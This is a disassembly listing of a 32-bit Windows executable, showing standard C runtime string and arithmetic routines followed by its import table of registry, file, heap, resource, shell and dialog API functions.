		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40BD77
		neg	ecx
		and	ecx, 3
		jz	short loc_40BD59
		sub	edx, ecx


loc_40BD53:				; CODE XREF: sub_40BD30+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_40BD53


loc_40BD59:				; CODE XREF: sub_40BD30+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40BD77
		rep stosd
		test	edx, edx
		jz	short loc_40BD7D


loc_40BD77:				; CODE XREF: sub_40BD30+18j
					; sub_40BD30+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_40BD77


loc_40BD7D:				; CODE XREF: sub_40BD30+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40BD83:				; CODE XREF: sub_40BD30+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40BD30	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40BD96	proc near		; CODE XREF: sub_408980+21Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40BDBD
		push	esi
		call	sub_40BF40
		inc	eax
		push	eax		; dwBytes
		call	sub_40AE50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BDBD
		push	esi
		push	eax
		call	sub_40BE50
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40BDBD:				; CODE XREF: sub_40BD96+7j
					; sub_40BD96+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_40BD96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BDC1	proc near		; CODE XREF: sub_40BE1D+1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_40BDDB
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_40BDDE
; ---------------------------------------------------------------------------


loc_40BDDB:				; CODE XREF: sub_40BDC1+Dj
		mov	esi, [ebp+arg_0]


loc_40BDDE:				; CODE XREF: sub_40BDC1+18j
		mov	edi, ecx


loc_40BDE0:				; CODE XREF: sub_40BDC1+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_40BDFC
		add	bl, 57h
		jmp	short loc_40BDFF
; ---------------------------------------------------------------------------


loc_40BDFC:				; CODE XREF: sub_40BDC1+34j
		add	bl, 30h


loc_40BDFF:				; CODE XREF: sub_40BDC1+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_40BDE0
		and	byte ptr [ecx],	0
		dec	ecx


loc_40BE0A:				; CODE XREF: sub_40BDC1+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_40BE0A
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40BDC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE1D	proc near		; CODE XREF: sub_409190+49p
					; sub_40A980+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_40BE30
		cmp	[ebp+arg_0], eax
		jge	short loc_40BE30
		push	1
		pop	eax


loc_40BE30:				; CODE XREF: sub_40BE1D+9j
					; sub_40BE1D+Ej
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BDC1
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_40BE1D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40BE50	proc near		; CODE XREF: sub_40BD96+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_40BEC1
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40BE7C


loc_40BE6D:				; CODE XREF: sub_40BE50+2Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40BEAF
		test	ecx, 3
		jnz	short loc_40BE6D


loc_40BE7C:				; CODE XREF: sub_40BE50+1Bj
					; sub_40BE50+42j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40BE7C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40BEBE
		test	ah, ah
		jz	short loc_40BEB9
		test	eax, 0FF0000h
		jz	short loc_40BEB4
		test	eax, 0FF000000h
		jz	short loc_40BEAF
		jmp	short loc_40BE7C
; ---------------------------------------------------------------------------


loc_40BEAF:				; CODE XREF: sub_40BE50+22j
					; sub_40BE50+5Bj
		lea	edi, [ecx-1]
		jmp	short loc_40BEC1
; ---------------------------------------------------------------------------


loc_40BEB4:				; CODE XREF: sub_40BE50+54j
		lea	edi, [ecx-2]
		jmp	short loc_40BEC1
; ---------------------------------------------------------------------------


loc_40BEB9:				; CODE XREF: sub_40BE50+4Dj
		lea	edi, [ecx-3]
		jmp	short loc_40BEC1
; ---------------------------------------------------------------------------


loc_40BEBE:				; CODE XREF: sub_40BE50+49j
		lea	edi, [ecx-4]


loc_40BEC1:				; CODE XREF: sub_40BE50+5j
					; sub_40BE50+62j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_40BEE6


loc_40BECD:				; CODE XREF: sub_40BE50+8Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_40BF38
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40BECD
		jmp	short loc_40BEE6
; ---------------------------------------------------------------------------


loc_40BEE1:				; CODE XREF: sub_40BE50+AEj
					; sub_40BE50+C8j
		mov	[edi], edx
		add	edi, 4


loc_40BEE6:				; CODE XREF: sub_40BE50+7Bj
					; sub_40BE50+8Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40BEE1
		test	dl, dl
		jz	short loc_40BF38
		test	dh, dh
		jz	short loc_40BF2F
		test	edx, 0FF0000h
		jz	short loc_40BF22
		test	edx, 0FF000000h
		jz	short loc_40BF1A
		jmp	short loc_40BEE1
; ---------------------------------------------------------------------------


loc_40BF1A:				; CODE XREF: sub_40BE50+C6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40BF22:				; CODE XREF: sub_40BE50+BEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40BF2F:				; CODE XREF: sub_40BE50+B6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40BF38:				; CODE XREF: sub_40BE50+82j
					; sub_40BE50+B2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_40BE50	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BF40	proc near		; CODE XREF: sub_40BD96+Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40BF60


loc_40BF4C:				; CODE XREF: sub_40BF40+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40BF93
		test	ecx, 3
		jnz	short loc_40BF4C
		add	eax, 0


loc_40BF60:				; CODE XREF: sub_40BF40+Aj
					; sub_40BF40+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40BF60
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40BFB1
		test	ah, ah
		jz	short loc_40BFA7
		test	eax, 0FF0000h
		jz	short loc_40BF9D
		test	eax, 0FF000000h
		jz	short loc_40BF93
		jmp	short loc_40BF60
; ---------------------------------------------------------------------------


loc_40BF93:				; CODE XREF: sub_40BF40+11j
					; sub_40BF40+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40BF9D:				; CODE XREF: sub_40BF40+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40BFA7:				; CODE XREF: sub_40BF40+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40BFB1:				; CODE XREF: sub_40BF40+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40BF40	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		mov	eax, [esp+14h]
		or	eax, eax
		jnz	short loc_40BFE1
		mov	ecx, [esp+10h]
		mov	eax, [esp+0Ch]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+8]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_40C031
; ---------------------------------------------------------------------------


loc_40BFE1:				; CODE XREF: .text:0040BFC7j
		mov	ecx, eax
		mov	ebx, [esp+10h]
		mov	edx, [esp+0Ch]
		mov	eax, [esp+8]


loc_40BFEF:				; CODE XREF: .text:0040BFF9j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40BFEF
		div	ebx
		mov	ecx, eax
		mul	dword ptr [esp+14h]
		xchg	eax, ecx
		mul	dword ptr [esp+10h]
		add	edx, ecx
		jb	short loc_40C01A
		cmp	edx, [esp+0Ch]
		ja	short loc_40C01A
		jb	short loc_40C022
		cmp	eax, [esp+8]
		jbe	short loc_40C022


loc_40C01A:				; CODE XREF: .text:0040C00Aj
					; .text:0040C010j
		sub	eax, [esp+10h]
		sbb	edx, [esp+14h]


loc_40C022:				; CODE XREF: .text:0040C012j
					; .text:0040C018j
		sub	eax, [esp+8]
		sbb	edx, [esp+0Ch]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C031:				; CODE XREF: .text:0040BFDFj
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------
		align 200h
_text		ends

; Section 2. (virtual address 0000D000)
; Virtual size			: 0000130C (   4876.)
; Section size in file		: 00001400 (   5120.)
; Offset to raw	data for section: 0000B600
; Flags	40000040: Data Readable
; Alignment	: default
;
; Imports from ADVAPI32.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; LSTATUS __stdcall RegDeleteValueA(HKEY hKey,LPCSTR lpValueName)
		extrn RegDeleteValueA:dword ; CODE XREF: sub_402370+768p
					; DATA XREF: sub_402370+768r
; LSTATUS __stdcall RegEnumKeyExA(HKEY hKey,DWORD dwIndex,LPSTR	lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime)
		extrn RegEnumKeyExA:dword ; CODE XREF: sub_402370+2A1p
					; sub_402370+2D9p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_402DC0+Cp
					; sub_402DE0+55p ...
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,const LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition)
		extrn RegCreateKeyExA:dword ; CODE XREF: sub_402DE0+36p
					; sub_4039C0+7D3p ...
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult)
		extrn RegOpenKeyExA:dword ; CODE XREF: sub_402E50+22p
					; sub_402EA0+35p ...
; LSTATUS __stdcall RegSetValueExA(HKEY	hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData)
		extrn RegSetValueExA:dword ; CODE XREF:	sub_402FF0:loc_403361p
					; sub_4039C0+806p ...
; LSTATUS __stdcall RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD	lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime)
		extrn RegQueryInfoKeyA:dword ; CODE XREF: sub_403400+27p
					; sub_403450+34p
					; DATA XREF: ...
; LSTATUS __stdcall RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR	lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData)
		extrn RegEnumValueA:dword ; CODE XREF: sub_403450+70p
					; DATA XREF: sub_403450+70r
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData)
		extrn RegQueryValueExA:dword ; CODE XREF: sub_4036E0+13Dp
					; sub_4036E0+15Cp ...
; LSTATUS __stdcall RegDeleteKeyA(HKEY hKey,LPCSTR lpSubKey)
		extrn RegDeleteKeyA:dword ; CODE XREF: sub_402370+2ECp
					; sub_402370+9BAp ...

;
; Imports from KERNEL32.dll
;
; int __stdcall	lstrcmpiA(LPCSTR lpString1,LPCSTR lpString2)
		extrn lstrcmpiA:dword	; CODE XREF: sub_4010C0+15Fp
					; sub_4010C0+16Bp ...
; DWORD	__stdcall GetCurrentThreadId()
		extrn GetCurrentThreadId:dword ; CODE XREF: sub_4010C0:loc_4011D8p
					; sub_404DC0+6p ...
; LPVOID __stdcall HeapAlloc(HANDLE hHeap,DWORD	dwFlags,SIZE_T dwBytes)
		extrn HeapAlloc:dword	; CODE XREF: sub_4010C0+E4p
					; sub_40AE50+18p ...
; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo)
		extrn GetSystemInfo:dword ; CODE XREF: sub_4010C0+A4p
					; DATA XREF: sub_4010C0+A4r
; HANDLE __stdcall HeapCreate(DWORD flOptions,SIZE_T dwInitialSize,SIZE_T dwMaximumSize)
		extrn HeapCreate:dword	; CODE XREF: sub_4010C0+99p
					; sub_4010C0+F4p
					; DATA XREF: ...
; LPSTR	__stdcall GetCommandLineA()
		extrn GetCommandLineA:dword ; CODE XREF: sub_4010C0+Cp
					; sub_4010C0:loc_401442p ...
; int __stdcall	MultiByteToWideChar(UINT CodePage,DWORD	dwFlags,LPCSTR lpMultiByteStr,int cbMultiByte,LPWSTR lpWideCharStr,int cchWideChar)
		extrn MultiByteToWideChar:dword	; CODE XREF: sub_401560+1Ep
					; sub_402FF0+229p ...
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn FreeLibrary:dword	; CODE XREF: sub_401710+177p
					; sub_4018A0+174p ...
; DWORD	__stdcall SizeofResource(HMODULE hModule,HRSRC hResInfo)
		extrn SizeofResource:dword ; CODE XREF:	sub_401710+12Fp
					; sub_4018A0+12Cp
					; DATA XREF: ...
; HGLOBAL __stdcall LoadResource(HMODULE hModule,HRSRC hResInfo)
		extrn LoadResource:dword ; CODE	XREF: sub_401710+103p
					; sub_4018A0+100p
					; DATA XREF: ...
; HRSRC	__stdcall FindResourceA(HMODULE	hModule,LPCSTR lpName,LPCSTR lpType)
		extrn FindResourceA:dword ; CODE XREF: sub_401710+E5p
					; sub_4018A0+E2p
					; DATA XREF: ...
; DWORD	__stdcall GetLastError()
		extrn GetLastError:dword ; CODE	XREF: sub_401710+B3p
					; sub_401710+B9p ...
; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName,HANDLE hFile,DWORD dwFlags)
		extrn LoadLibraryExA:dword ; CODE XREF:	sub_401710+9Ep
					; sub_4018A0+98p
					; DATA XREF: ...
; int __stdcall	WideCharToMultiByte(UINT CodePage,DWORD	dwFlags,LPCWSTR	lpWideCharStr,int cchWideChar,LPSTR lpMultiByteStr,int cbMultiByte,LPCSTR lpDefaultChar,LPBOOL lpUsedDefaultChar)
		extrn WideCharToMultiByte:dword	; CODE XREF: sub_401710+3Ep
					; sub_401710+8Ep ...
; LPSTR	__stdcall lstrcpynA(LPSTR lpString1,LPCSTR lpString2,int iMaxLength)
		extrn lstrcpynA:dword	; CODE XREF: sub_401A30+ADp
					; sub_402370+8B8p ...
; BOOL __stdcall IsDBCSLeadByte(BYTE TestChar)
		extrn IsDBCSLeadByte:dword ; CODE XREF:	sub_401D60+36p
					; sub_401DC0+7Ap
					; DATA XREF: ...
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
		extrn DeleteFileA:dword	; CODE XREF: sub_4036E0+20Dp
					; sub_40B540+4p
					; DATA XREF: ...
; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,BOOL bFailIfExists)
		extrn CopyFileA:dword	; CODE XREF: sub_4039C0+57Bp
					; DATA XREF: sub_4039C0+57Br
; int __stdcall	lstrcmpA(LPCSTR	lpString1,LPCSTR lpString2)
		extrn lstrcmpA:dword	; CODE XREF: sub_4039C0+555p
					; sub_405500+2Dp ...
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
		extrn SetFileAttributesA:dword ; CODE XREF: sub_4039C0+483p
					; DATA XREF: sub_4039C0+483r
; DWORD	__stdcall GetFileAttributesA(LPCSTR lpFileName)
		extrn GetFileAttributesA:dword ; CODE XREF: sub_4039C0+442p
					; sub_4039C0+46Bp
					; DATA XREF: ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn InitializeCriticalSection:dword ;	CODE XREF: sub_4045A0+3Bp
					; sub_4045A0+41p ...
; BOOL __stdcall HeapDestroy(HANDLE hHeap)
		extrn HeapDestroy:dword	; CODE XREF: sub_404720+A9p
					; sub_404720+B7p
					; DATA XREF: ...
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn DeleteCriticalSection:dword ; CODE XREF: sub_404720+55p
					; sub_404720+5Bp ...
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize)
		extrn GetModuleFileNameA:dword ; CODE XREF: sub_4010C0+1ABp
					; sub_4010C0+286p ...
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn LoadLibraryA:dword ; CODE	XREF: sub_404A70+14Dp
					; sub_409520+15p ...
; LPSTR	__stdcall lstrcpyA(LPSTR lpString1,LPCSTR lpString2)
		extrn lstrcpyA:dword	; CODE XREF: sub_404C30+10Dp
					; sub_408E00+46p ...
; LPSTR	__stdcall lstrcatA(LPSTR lpString1,LPCSTR lpString2)
		extrn lstrcatA:dword	; CODE XREF: sub_404C30+75p
					; sub_409BD0+2Dp ...
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn LeaveCriticalSection:dword ; CODE	XREF: sub_404DC0+2Dp
					; DialogFunc+4Dp
					; DATA XREF: ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn EnterCriticalSection:dword ; CODE	XREF: sub_404DC0+14p
					; DialogFunc+Ap
					; DATA XREF: ...
; BOOL __stdcall FlushInstructionCache(HANDLE hProcess,LPCVOID lpBaseAddress,SIZE_T dwSize)
		extrn FlushInstructionCache:dword ; CODE XREF: DialogFunc+83p
					; DATA XREF: DialogFunc+83r
; HANDLE __stdcall GetCurrentProcess()
		extrn GetCurrentProcess:dword ;	CODE XREF: DialogFunc+7Cp
					; sub_40AFB0+10p
					; DATA XREF: ...
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn GetModuleHandleA:dword ; CODE XREF: start+98p
					; DATA XREF: start+98r
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA	lpStartupInfo)
		extrn GetStartupInfoA:dword ; CODE XREF: start+73p
					; DATA XREF: start+73r
; void __stdcall ExitProcess(UINT uExitCode)
		extrn ExitProcess:dword	; CODE XREF: start+19p	start+A5p ...
; LPVOID __stdcall HeapReAlloc(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem,SIZE_T dwBytes)
		extrn HeapReAlloc:dword	; CODE XREF: sub_40AEB0+2Fp
					; sub_40AEB0+48p
					; DATA XREF: ...
; BOOL __stdcall HeapFree(HANDLE hHeap,DWORD dwFlags,LPVOID lpMem)
		extrn HeapFree:dword	; CODE XREF: sub_40AF10+17p
					; sub_40AF10+2Bp
					; DATA XREF: ...
; BOOL __stdcall GetStringTypeW(DWORD dwInfoType,LPCWSTR lpSrcStr,int cchSrc,LPWORD lpCharType)
		extrn GetStringTypeW:dword ; CODE XREF:	sub_40BA13+3Fp
					; sub_40BA13+12Dp
					; DATA XREF: ...
; BOOL __stdcall GetStringTypeA(LCID Locale,DWORD dwInfoType,LPCSTR lpSrcStr,int cchSrc,LPWORD lpCharType)
		extrn GetStringTypeA:dword ; CODE XREF:	sub_40BA13+59p
					; sub_40BA13+8Dp
					; DATA XREF: ...
; int __stdcall	LCMapStringW(LCID Locale,DWORD dwMapFlags,LPCWSTR lpSrcStr,int cchSrc,LPWSTR lpDestStr,int cchDest)
		extrn LCMapStringW:dword ; CODE	XREF: sub_40B7C4+42p
					; sub_40B7C4+14Dp ...
; int __stdcall	LCMapStringA(LCID Locale,DWORD dwMapFlags,LPCSTR lpSrcStr,int cchSrc,LPSTR lpDestStr,int cchDest)
		extrn LCMapStringA:dword ; CODE	XREF: sub_40B7C4+5Ep
					; sub_40B7C4+A7p
					; DATA XREF: ...
; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
		extrn GetSystemTimeAsFileTime:dword ; CODE XREF: sub_40B4C8+Ap
					; sub_40B50B+Ap
					; DATA XREF: ...
; BOOL __stdcall CreateDirectoryA(LPCSTR lpPathName,LPSECURITY_ATTRIBUTES lpSecurityAttributes)
		extrn CreateDirectoryA:dword ; CODE XREF: sub_40B16E+6p
					; DATA XREF: sub_40B16E+6r
; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
		extrn TerminateProcess:dword ; CODE XREF: sub_40AFB0+17p
					; DATA XREF: sub_40AFB0+17r
; DWORD	__stdcall GetShortPathNameA(LPCSTR lpszLongPath,LPSTR lpszShortPath,DWORD cchBuffer)
		extrn GetShortPathNameA:dword ;	CODE XREF: sub_4010C0+1C4p
					; sub_4010C0+29Fp
					; DATA XREF: ...
; int __stdcall	lstrlenA(LPCSTR	lpString)
		extrn lstrlenA:dword	; CODE XREF: sub_4010C0+1DFp
					; sub_4010C0+2BAp ...
; int __stdcall	lstrlenW(LPCWSTR lpString)
		extrn lstrlenW:dword	; CODE XREF: sub_4010C0+209p
					; sub_4010C0+2E4p ...
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: sub_4010C0+475p
					; sub_409CE0+2Ap ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes,BOOL bManualReset,BOOL bInitialState,LPCSTR lpName)
		extrn CreateEventA:dword ; CODE	XREF: sub_401060+Cp
					; DATA XREF: sub_401060+Cr
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T	dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
		extrn CreateThread:dword ; CODE	XREF: sub_401060+32p
					; DATA XREF: sub_401060+32r
		extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: sub_401000+16p
					; sub_401000+2Ap
					; DATA XREF: ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_401000+44p
					; DATA XREF: sub_401000+44r
; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName)
		extrn GetProcAddress:dword ; CODE XREF:	sub_404A70+15Fp
					; sub_409520+32p ...

;
; Imports from OLEAUT32.dll
;
; HRESULT __stdcall LoadTypeLib(LPCOLESTR szFile,ITypeLib **pptlib)
		extrn LoadTypeLib:dword	; CODE XREF: sub_404C30+C9p
					; sub_404C30+15Bp
					; DATA XREF: ...
; UINT __stdcall SysStringLen(BSTR)
		extrn SysStringLen:dword ; CODE	XREF: sub_403920+12p
					; sub_4039C0+37Bp ...
; BSTR __stdcall SysAllocStringLen(const OLECHAR *strIn,UINT ui)
		extrn SysAllocStringLen:dword ;	CODE XREF: sub_403920+27p
					; sub_404320+118p ...
; void __stdcall SysFreeString(BSTR bstrString)
		extrn SysFreeString:dword ; CODE XREF: sub_4036E0+3Bp
					; sub_403920+81p ...
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
		extrn SysAllocString:dword ; CODE XREF:	sub_4036E0+52p
					; sub_4036E0+93p ...
; HRESULT __stdcall VarUI4FromStr(LPCOLESTR strIn,LCID lcid,ULONG dwFlags,ULONG	*pulOut)
		extrn VarUI4FromStr:dword ; CODE XREF: sub_402FF0+238p
					; DATA XREF: sub_402FF0+238r
; HRESULT __stdcall RegisterTypeLib(ITypeLib *ptlib,LPCOLESTR szFullPath,LPCOLESTR szHelpDir)
		extrn RegisterTypeLib:dword ; CODE XREF: sub_404810+1E6p
					; DATA XREF: sub_404810+1E6r

;
; Imports from SHELL32.dll
;
; HINSTANCE __stdcall ShellExecuteA(HWND hwnd,LPCSTR lpOperation,LPCSTR	lpFile,LPCSTR lpParameters,LPCSTR lpDirectory,INT nShowCmd)
		extrn ShellExecuteA:dword ; CODE XREF: sub_404FF0+12p
					; DATA XREF: sub_404FF0+12r
; void __stdcall SHChangeNotify(LONG wEventId,UINT uFlags,LPCVOID dwItem1,LPCVOID dwItem2)
		extrn SHChangeNotify:dword ; CODE XREF:	sub_4039C0+890p
					; DATA XREF: sub_4039C0+890r

;
; Imports from USER32.dll
;
; UINT __stdcall GetDlgItemTextA(HWND hDlg,int nIDDlgItem,LPSTR	lpString,int cchMax)
		extrn GetDlgItemTextA:dword ; CODE XREF: sub_406E00+16p
					; DATA XREF: sub_406E00+16r
; BOOL __stdcall SetDlgItemTextA(HWND hDlg,int nIDDlgItem,LPCSTR lpString)
		extrn SetDlgItemTextA:dword ; CODE XREF: sub_405680+B1p
					; sub_4057A0+17p
					; DATA XREF: ...
; int wsprintfA(LPSTR,LPCSTR,...)
		extrn wsprintfA:dword	; CODE XREF: sub_4055A0+3Dp
					; sub_4055A0+60p ...
; LRESULT __stdcall SendDlgItemMessageA(HWND hDlg,int nIDDlgItem,UINT Msg,WPARAM wParam,LPARAM lParam)
		extrn SendDlgItemMessageA:dword	; CODE XREF: sub_405500+4Fp
					; sub_405500+63p ...
; int __stdcall	wvsprintfA(LPSTR,LPCSTR,va_list	arglist)
		extrn wvsprintfA:dword	; CODE XREF: sub_4051A0+CEp
					; sub_4055A0+80p ...
; BOOL __stdcall KillTimer(HWND	hWnd,UINT_PTR uIDEvent)
		extrn KillTimer:dword	; CODE XREF: sub_406720+38p
					; sub_406720+4E0p
					; DATA XREF: ...
; void __stdcall PostQuitMessage(int nExitCode)
		extrn PostQuitMessage:dword ; CODE XREF: sub_405180+Cp
					; sub_406D00+3Bp
					; DATA XREF: ...
; HWND __stdcall GetDlgItem(HWND hDlg,int nIDDlgItem)
		extrn GetDlgItem:dword	; CODE XREF: sub_404FC0+9p
					; sub_405C90+750p ...
; BOOL __stdcall PostMessageA(HWND hWnd,UINT Msg,WPARAM	wParam,LPARAM lParam)
		extrn PostMessageA:dword ; CODE	XREF: sub_404FC0+26p
					; DATA XREF: sub_404FC0+26r
; BOOL __stdcall EnableWindow(HWND hWnd,BOOL bEnable)
		extrn EnableWindow:dword ; CODE	XREF: sub_405C90+755p
					; sub_405C90+769p ...
; HWND __stdcall CreateDialogParamA(HINSTANCE hInstance,LPCSTR lpTemplateName,HWND hWndParent,DLGPROC lpDialogFunc,LPARAM dwInitParam)
		extrn CreateDialogParamA:dword ; CODE XREF: sub_404DC0+4Ap
					; DATA XREF: sub_404DC0+4Ar
; int __stdcall	LoadStringA(HINSTANCE hInstance,UINT uID,LPSTR lpBuffer,int cchBufferMax)
		extrn LoadStringA:dword	; CODE XREF: sub_4036E0+2Fp
					; sub_4039C0+7Ap ...
